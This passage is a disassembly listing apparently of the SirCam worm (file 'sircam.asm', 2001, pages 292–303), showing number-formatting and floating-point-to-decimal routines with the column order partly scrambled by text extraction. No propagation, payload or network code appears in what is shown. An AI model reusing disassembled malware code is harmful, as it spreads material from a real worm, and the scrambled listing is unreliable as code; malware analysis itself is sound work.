locret_40AAF0 al, ds:byte_41E4EF short loc_40AAE7 al, 30h ; CODE XREF: sub_40AA90+55\031j sircam.asm Fri Aug 10 12:42:44 2001 stosb dec jz inc jnz edx short locret_40AAF0 ecx short loc_40AAE0 loc_40AAE7: ; CODE XREF: sub_40AA90+4C\030j ; sub_40AA90+5E\031j call stosb dec jnz sub_40A9A3 edx short loc_40AAE7 locret_40AAF0: sub_40AA90 292 ; CODE XREF: sub_40AA90+44\030j ; sub_40AA90+52\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AAF1: ; CODE XREF: sub_40A8EE+8C\030j ; DATA XREF: CODE:0040A99F\030o xor mov mov cmp jz mov mov ebx, ebx bl, ds:byte_41E4EC ecx, 3 byte ptr [ebp-1Ah], 0 short loc_40AB0F bl, ds:byte_41E4ED ecx, 40Fh cmp jbe mov bl, cl short loc_40AB15 bl, cl add lea mov ; CODE XREF: CODE:0040AB11\030j bl, ch ebx, dword_40AB5A[ebx+ebx*4] ecx, 5 loc_40AB0F: ; CODE XREF: CODE:0040AB02\030j loc_40AB15: loc_40AB23: ; CODE XREF: CODE:0040AB45\031j mov al, [ebx] cmp al, 40h jz short locret_40AB47 push ecx push ebx cmp al, 24h jz short loc_40AB36 cmp al, 2Ah jz short loc_40AB3D stosb jmp short loc_40AB42 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AB36: ; CODE XREF: CODE:0040AB2D\030j call sub_40AB48 jmp short loc_40AB42 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AB3D: ; CODE XREF: CODE:0040AB31\030j call sub_40AA90 loc_40AB42: ; CODE XREF: CODE:0040AB34\030j ; CODE:0040AB3B\030j pop pop inc loop locret_40AB47: ebx ecx ebx loc_40AB23 ; CODE XREF: CODE:0040AB27\030j sircam.asm Fri Aug 10 12:42:44 2001 293 retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40AB48 proc near ; CODE XREF: CODE:0040AB36\030p push esi mov esi, ds:dword_41E4E8 test esi, esi jz short loc_40AB58 mov ecx, [esi-4] repe movsb loc_40AB58: sub_40AB48 ; CODE XREF: sub_40AB48+9\030j pop retn endp esi ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dword_40AB5A dd 40402A24h, 40242A40h, 20244040h, 2A40402Ah, 40402420h ; DATA XREF: CODE:0040AB17\030r dd 292A2428h, 2A242D40h, 2D244040h, 2440402Ah, 40402D2Ah dd 29242A28h, 242A2D40h, 2D2A4040h, 2A404024h, 40402D24h dd 24202A2Dh, 20242D40h, 202A402Ah, 24402D24h, 402D2A20h dd 2A2D2024h, 202D2A40h, 24284024h, 28292A20h, 2924202Ah ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push ebp mov ebp, esp sub esp, 40h push edi push esi push ebx mov [ebp-4], eax mov edi, edx mov ebx, ecx mov ecx, 2 cmp bl, 0 jz short loc_40ABE7 mov eax, [edi] or eax, [edi+4] jz short loc_40ABF9 mov ecx, [edi+4] shr ecx, 1Fh jmp short loc_40ABF9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ABE7: movzx or or jz movzx shr ; CODE XREF: CODE:0040ABD6\030j eax, word ptr [edi+8] eax, [edi] eax, [edi+4] short loc_40ABF9 ecx, word ptr [edi+8] ecx, 0Fh loc_40ABF9: ; CODE XREF: CODE:0040ABDD\030j ; CODE:0040ABE5\030j ... call jz call mov mov cmp jnz sub mov mov sub_40AC8A short loc_40AC4C sub_40ACC5 eax, [ebp-14h] edx, 270Fh byte ptr [ebp-0Ch], 0 short loc_40AC1D eax, [ebp-18h] edx, eax eax, 12h push push eax edx loc_40AC1D: ; CODE XREF: CODE:0040AC11\030j sircam.asm Fri Aug 10 12:42:44 2001 lea mov mov call mov cmp jz cmp jz cmp jnz cmp jle cmp jnz 294 eax, [ebp-40h] edx, edi ecx, ebx sub_40AE91 ax, [ebp-40h] ax, 8000h short loc_40AC4C ax, 7FFFh short loc_40AC4C bl, 0 short loc_40AC60 ax, 12h short loc_40AC60 byte ptr [ebp-0Ch], 0 short loc_40AC60 loc_40AC4C: ; CODE XREF: CODE:0040ABFE\030j ; CODE:0040AC33\030j ... push 0 push 0Fh push 0 mov eax, [ebp-4] mov edx, edi mov ecx, ebx call sub_40A8EE jmp short loc_40AC81 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AC60: cmp jnz mov call jz cmp jz call ; CODE XREF: CODE:0040AC3E\030j ; CODE:0040AC44\030j ... byte ptr [ebp-3Dh], 0 short loc_40AC7C ecx, 2 sub_40AC8A short loc_40AC4C esi, [ebp-10h] short loc_40AC7C sub_40ACC5 loc_40AC7C: ; CODE XREF: CODE:0040AC64\030j ; CODE:0040AC75\030j call sub_40AD70 pop pop pop mov pop retn ebx esi edi esp, ebp ebp 4 loc_40AC81: ; CODE XREF: CODE:0040AC5E\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40AC8A proc near mov jecxz ; CODE XREF: CODE:0040ABF9\030p ; CODE:0040AC6B\030p esi, [ebp+8] short loc_40ACAC loc_40AC8F: ; CODE XREF: sub_40AC8A+14\031j ; sub_40AC8A+16\031j ... lodsb cmp jz cmp jz or jz cmp jnz al, 27h short loc_40ACB8 al, 22h short loc_40ACB8 al, al short loc_40ACAC al, 3Bh short loc_40AC8F sircam.asm Fri Aug 10 12:42:44 2001 loop mov or jz cmp jnz 295 loc_40AC8F al, [esi] al, al short loc_40ACAC al, 3Bh short locret_40ACB7 loc_40ACAC: ; CODE XREF: sub_40AC8A+3\030j ; sub_40AC8A+10\030j ... mov mov or jz cmp esi, [ebp+8] al, [esi] al, al short locret_40ACB7 al, 3Bh locret_40ACB7: ; CODE XREF: sub_40AC8A+20\030j ; sub_40AC8A+29\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ACB8: ; CODE XREF: sub_40AC8A+8\030j ; sub_40AC8A+C\030j mov ah, al loc_40ACBA: sub_40AC8A ; CODE XREF: sub_40AC8A+37\031j lodsb cmp jz or jnz jmp endp al, ah short loc_40AC8F al, al short loc_40ACBA short loc_40ACAC ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40ACC5 proc near push mov mov xor xor mov mov mov ; CODE XREF: CODE:0040AC00\030p ; CODE:0040AC77\030p ebx [ebp-10h], esi ebx, 7FFFh ecx, ecx edx, edx dword ptr [ebp-18h], 0FFFFFFFFh [ebp-8], dl [ebp-0Ch], dl loc_40ACDF: ; CODE XREF: sub_40ACC5+41\031j ; sub_40ACC5+46\031j ... lodsb loc_40ACE0: ; CODE XREF: sub_40ACC5+78\031j ; sub_40ACC5+83\031j cmp jz cmp jz cmp jz cmp jz cmp jz cmp jz cmp jz cmp jz al, 23h short loc_40AD0A al, 30h short loc_40AD0D al, 2Eh short loc_40AD18 al, 2Ch short loc_40AD23 al, 27h short loc_40AD29 al, 22h short loc_40AD29 al, 45h short loc_40AD36 al, 65h short loc_40AD36 sircam.asm Fri Aug 10 12:42:44 2001 296 cmp al, 3Bh jz short loc_40AD4A or al, al jnz short loc_40ACDF jmp short loc_40AD4A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AD0A: ; CODE XREF: sub_40ACC5+1D\030j inc edx jmp short loc_40ACDF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AD0D: ; CODE XREF: sub_40ACC5+21\030j cmp jge mov edx, ebx short loc_40AD13 ebx, edx loc_40AD13: ; CODE XREF: sub_40ACC5+4A\030j inc edx mov ecx, edx jmp short loc_40ACDF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AD18: ; CODE XREF: sub_40ACC5+25\030j cmp dword ptr [ebp-18h], 0FFFFFFFFh jnz short loc_40ACDF mov [ebp-18h], edx jmp short loc_40ACDF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AD23: ; CODE XREF: sub_40ACC5+29\030j mov byte ptr [ebp-8], 1 jmp short loc_40ACDF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AD29: ; CODE XREF: sub_40ACC5+2D\030j ; sub_40ACC5+31\030j mov ah, al loc_40AD2B: ; CODE XREF: sub_40ACC5+6D\031j lodsb cmp al, ah jz short loc_40ACDF or al, al jnz short loc_40AD2B jmp short loc_40AD4A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AD36: ; CODE XREF: sub_40ACC5+35\030j ; sub_40ACC5+39\030j lodsb cmp jz cmp jnz al, 2Dh short loc_40AD3F al, 2Bh short loc_40ACE0 mov ; CODE XREF: sub_40ACC5+74\030j byte ptr [ebp-0Ch], 1 loc_40AD3F: loc_40AD43: ; CODE XREF: sub_40ACC5+81\031j lodsb cmp al, 30h jz short loc_40AD43 jmp short loc_40ACE0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AD4A: ; CODE XREF: sub_40ACC5+3D\030j ; sub_40ACC5+43\030j ... mov cmp [ebp-14h], edx dword ptr [ebp-18h], 0FFFFFFFFh sircam.asm Fri Aug 10 12:42:44 2001 jnz mov short loc_40AD56 [ebp-18h], edx mov sub jle xor eax, [ebp-18h] eax, ecx short loc_40AD5F eax, eax mov mov sub jge xor [ebp-20h], eax eax, [ebp-18h] eax, ebx short loc_40AD6B eax, eax mov pop retn endp [ebp-1Ch], eax ebx loc_40AD56: ; CODE XREF: sub_40ACC5+8C\030j loc_40AD5F: ; CODE XREF: sub_40ACC5+96\030j loc_40AD6B: sub_40ACC5 297 ; CODE XREF: sub_40ACC5+A2\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40AD70 proc near ; CODE XREF: CODE:0040AC7C\030p cmp byte ptr [ebp-0Ch], 0 jz short loc_40AD7D mov eax, [ebp-18h] xor edx, edx jmp short loc_40AD90 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AD7D: movsx cmp jg mov ; CODE XREF: sub_40AD70+4\030j eax, word ptr [ebp-40h] eax, [ebp-18h] short loc_40AD89 eax, [ebp-18h] movsx sub ; CODE XREF: sub_40AD70+14\030j edx, word ptr [ebp-40h] edx, [ebp-18h] loc_40AD89: loc_40AD90: mov mov mov mov lea cmp jz cmp jnz mov stosb ; CODE XREF: sub_40AD70+B\030j [ebp-24h], eax [ebp-28h], edx esi, [ebp-10h] edi, [ebp-4] ebx, [ebp-3Dh] byte ptr [ebp-3Eh], 0 short loc_40ADAD esi, [ebp+8] short loc_40ADAD al, 2Dh loc_40ADAD: ; CODE XREF: sub_40AD70+33\030j ; sub_40AD70+38\030j ... lodsb cmp jz cmp jz cmp jz cmp jz cmp jz al, 23h short loc_40ADD9 al, 30h short loc_40ADD9 al, 2Eh short loc_40ADAD al, 2Ch short loc_40ADAD al, 27h short loc_40ADE0 sircam.asm Fri Aug 10 12:42:44 2001 cmp jz cmp jz cmp jz cmp jz or jz 298 al, 22h short loc_40ADE0 al, 45h short loc_40ADEE al, 65h short loc_40ADEE al, 3Bh short loc_40AE25 al, al short loc_40AE25 loc_40ADD6: ; CODE XREF: sub_40AD70+88\031j stosb jmp short loc_40ADAD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ADD9: ; CODE XREF: sub_40AD70+40\030j ; sub_40AD70+44\030j call sub_40AE2B jmp short loc_40ADAD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ADE0: ; CODE XREF: sub_40AD70+50\030j ; sub_40AD70+54\030j mov ah, al loc_40ADE2: ; CODE XREF: sub_40AD70+7C\031j lodsb cmp al, ah jz short loc_40ADAD or al, al jz short loc_40AE25 stosb jmp short loc_40ADE2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40ADEE: ; CODE XREF: sub_40AD70+58\030j ; sub_40AD70+5C\030j mov cmp jz cmp jnz xor ah, [esi] ah, 2Bh short loc_40ADFC ah, 2Dh short loc_40ADD6 ah, ah mov ecx, 0FFFFFFFFh inc inc cmp jz cmp jb mov ; CODE XREF: sub_40AD70+96\031j ecx esi byte ptr [esi], 30h short loc_40AE01 ecx, 4 short loc_40AE12 ecx, 4 loc_40ADFC: ; CODE XREF: sub_40AD70+83\030j loc_40AE01: loc_40AE12: ; CODE XREF: sub_40AD70+9B\030j push ebx mov bl, [ebp-3Dh] movsx edx, word ptr [ebp-40h] sub edx, [ebp-18h] call sub_40AA4C pop ebx jmp short loc_40ADAD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AE25: ; CODE XREF: sub_40AD70+60\030j ; sub_40AD70+64\030j ... mov eax, edi sircam.asm sub_40AD70 Fri Aug 10 12:42:44 2001 sub retn endp 299 eax, [ebp-4] ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40AE2B proc near ; CODE XREF: sub_40AD70+69\030p cmp dword ptr [ebp-28h], 0 jz short sub_40AE4C jl short loc_40AE3F loc_40AE33: ; CODE XREF: sub_40AE2B+10\031j call sub_40AE4C dec dword ptr [ebp-28h] jnz short loc_40AE33 jmp short sub_40AE4C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AE3F: sub_40AE2B inc mov cmp jle jmp endp ; CODE XREF: sub_40AE2B+6\030j dword ptr [ebp-28h] eax, [ebp-24h] eax, [ebp-1Ch] short loc_40AE5C short loc_40AE8D ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40AE4C proc near mov inc or jnz dec mov cmp jle al, [ebx] ebx al, al short loc_40AE5E ebx eax, [ebp-24h] eax, [ebp-20h] short loc_40AE8D mov al, 30h ; CODE XREF: sub_40AE2B+4\030j ; sub_40AE2B+8\030p ... loc_40AE5C: ; CODE XREF: sub_40AE2B+1D\030j loc_40AE5E: ; CODE XREF: sub_40AE4C+5\030j cmp dword ptr [ebp-24h], 0 jnz short loc_40AE6F mov ah, al mov al, ds:byte_41E4EF stosw jmp short loc_40AE8D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AE6F: ; CODE XREF: sub_40AE4C+16\030j stosb cmp jz mov cmp jle mov div cmp jnz mov stosb loc_40AE8D: byte ptr [ebp-8], 0 short loc_40AE8D eax, [ebp-24h] eax, 1 short loc_40AE8D dl, 3 dl ah, 1 short loc_40AE8D al, ds:byte_41E4EE ; CODE XREF: sub_40AE2B+1F\030j sircam.asm sub_40AE4C Fri Aug 10 12:42:44 2001 dec retn endp 300 ; sub_40AE4C+E\030j ... dword ptr [ebp-24h] ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40AE91 proc near ; CODE XREF: sub_40A8EE+43\030p ; CODE:0040AC26\030p push ebp mov ebp, esp sub esp, 1Ah push edi push esi push ebx mov ebx, eax mov esi, edx cmp cl, 0 jz short loc_40AEAA call sub_40AFBF jmp short loc_40AEAF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AEAA: ; CODE XREF: sub_40AE91+10\030j call sub_40AEB8 pop pop pop mov pop retn endp ebx esi edi esp, ebp ebp 8 loc_40AEAF: sub_40AE91 ; CODE XREF: sub_40AE91+17\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40AEB8 proc near ; CODE XREF: sub_40AE91+19\030p mov ax, [esi+8] mov edx, eax and eax, 7FFFh jz short loc_40AEE3 cmp eax, 7FFFh jnz short loc_40AEEE test word ptr [esi+6], 8000h jz short loc_40AEE5 cmp dword ptr [esi], 0 jnz short loc_40AEE2 cmp dword ptr [esi+4], 80000000h jz short loc_40AEE5 loc_40AEE2: ; CODE XREF: sub_40AEB8+1F\030j inc eax loc_40AEE3: ; CODE XREF: sub_40AEB8+B\030j ; sub_40AEB8+A7\031j xor edx, edx loc_40AEE5: ; CODE XREF: sub_40AEB8+1A\030j ; sub_40AEB8+28\030j mov byte ptr [ebx+3], 0 jmp loc_40AFB0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AEEE: ; CODE XREF: sub_40AEB8+12\030j sircam.asm Fri Aug 10 12:42:44 2001 fld sub imul sar inc mov mov sub fabs call frndint fld fcomp fstsw wait test jz fidiv inc loc_40AF31: fbstp lea mov wait 301 tbyte ptr [esi] eax, 3FFFh eax, 4D10h eax, 10h eax [ebp-8], eax eax, 12h eax, [ebp-8] sub_4052BC ds:tbyte_40A8DC st(1) word ptr [ebp-4] word ptr [ebp-4], 4100h short loc_40AF31 ds:dword_40A8CC dword ptr [ebp-8] ; CODE XREF: sub_40AEB8+6E\030j tbyte ptr [ebp-1Ah] edi, [ebx+3] edx, 9 loc_40AF3D: ; CODE XREF: sub_40AEB8+98\031j mov al, [ebp+edx-1Bh] mov ah, al shr al, 4 and ah, 0Fh add ax, 3030h stosw dec edx jnz short loc_40AF3D xor al, al stosb mov edi, [ebp-8] add edi, [ebp+8] jns short loc_40AF61 xor eax, eax jmp short loc_40AEE3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AF61: ; CODE XREF: sub_40AEB8+A3\030j cmp jb mov edi, [ebp+0Ch] short loc_40AF69 edi, [ebp+0Ch] cmp jnb cmp jb ; CODE XREF: sub_40AEB8+AC\030j edi, 12h short loc_40AF95 byte ptr [ebx+edi+3], 35h short loc_40AF9A loc_40AF69: loc_40AF75: ; CODE XREF: sub_40AEB8+CE\031j mov byte ptr [ebx+edi+3], 0 dec edi js short loc_40AF8A inc byte ptr [ebx+edi+3] cmp byte ptr [ebx+edi+3], 39h ja short loc_40AF75 jmp short loc_40AFA9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AF8A: ; CODE XREF: sub_40AEB8+C3\030j mov word ptr [ebx+3], 31h inc dword ptr [ebp-8] jmp short loc_40AFA9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_40AF95: 302 ; CODE XREF: sub_40AEB8+B4\030j mov edi, 12h mov dec js cmp jz ; CODE XREF: sub_40AEB8+BB\030j ; sub_40AEB8+EF\031j byte ptr [ebx+edi+3], 0 edi short loc_40AFBB byte ptr [ebx+edi+3], 30h short loc_40AF9A loc_40AF9A: loc_40AFA9: ; CODE XREF: sub_40AEB8+D0\030j ; sub_40AEB8+DB\030j mov dx, [esi+8] mov eax, [ebp-8] loc_40AFAD: ; CODE XREF: sub_40AEB8+105\031j loc_40AFB0: ; CODE XREF: sub_40AEB8+31\030j shr dx, 0Fh mov [ebx], ax mov [ebx+2], dl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AFBB: sub_40AEB8 ; CODE XREF: sub_40AEB8+E8\030j xor jmp endp edx, edx short loc_40AFAD ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40AFBF proc near ; CODE XREF: sub_40AE91+12\030p mov eax, [esi] mov edx, [esi+4] mov ecx, eax or ecx, edx jz loc_40B082 or edx, edx jns short loc_40AFD9 neg edx neg eax sbb edx, 0 loc_40AFD9: ; CODE XREF: sub_40AFBF+11\030j xor mov or jge xor ecx, ecx edi, [ebp+8] edi, edi short loc_40AFE4 edi, edi cmp jl mov edi, 4 short loc_40B008 edi, 4 inc sub sbb jnb dec add adc ecx eax, 0A7640000h edx, 0DE0B6B3h short loc_40AFEE ecx eax, 0A7640000h edx, 0DE0B6B3h mov [ebp-10h], eax loc_40AFE4: ; CODE XREF: sub_40AFBF+21\030j loc_40AFEE: ; CODE XREF: sub_40AFBF+3B\031j loc_40B008: ; CODE XREF: sub_40AFBF+28\030j sircam.asm Fri Aug 10 12:42:44 2001 mov fild mov mov sub jz fidiv loc_40B023: fbstp lea wait or jnz mov 303 [ebp-0Ch], edx qword ptr [ebp-10h] edx, edi eax, 4 eax, edx short loc_40B023 ds:flt_40A8C8[eax*4] ; CODE XREF: sub_40AFBF+5B\030j tbyte ptr [ebp-1Ah] edi, [ebx+3] ecx, ecx short loc_40B049 ecx, 9 loc_40B033: ; CODE XREF: sub_40AFBF+86\031j mov al, [ebp+ecx-1Bh] mov ah, al shr al, 4 jnz short loc_40B05C mov al, ah and al, 0Fh jnz short loc_40B063 dec ecx jnz short loc_40B033 jmp short loc_40B082 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B049: ; CODE XREF: sub_40AFBF+6D\030j mov add stosb mov loc_40B053: mov mov shr al, cl al, 30h ecx, 9 ; CODE XREF: sub_40AFBF+A8\031j al, [ebp+ecx-1Bh] ah, al al, 4 loc_40B05C: ; CODE XREF: sub_40AFBF+7D\030j add stosb mov and al, 30h add stosb dec jnz mov lea sub al, 30h al, ah al, 0Fh loc_40B063: ; CODE XREF: sub_40AFBF+83\030j ecx short loc_40B053 eax, edi ecx, [ebx+edx+3] eax, ecx loc_40B071: ; CODE XREF: sub_40AFBF+B9\031j mov byte ptr [edi], 0 dec edi cmp byte ptr [edi], 30h jz short loc_40B071 mov edx, [esi+4] shr edx, 1Fh jmp short loc_40B089 ; 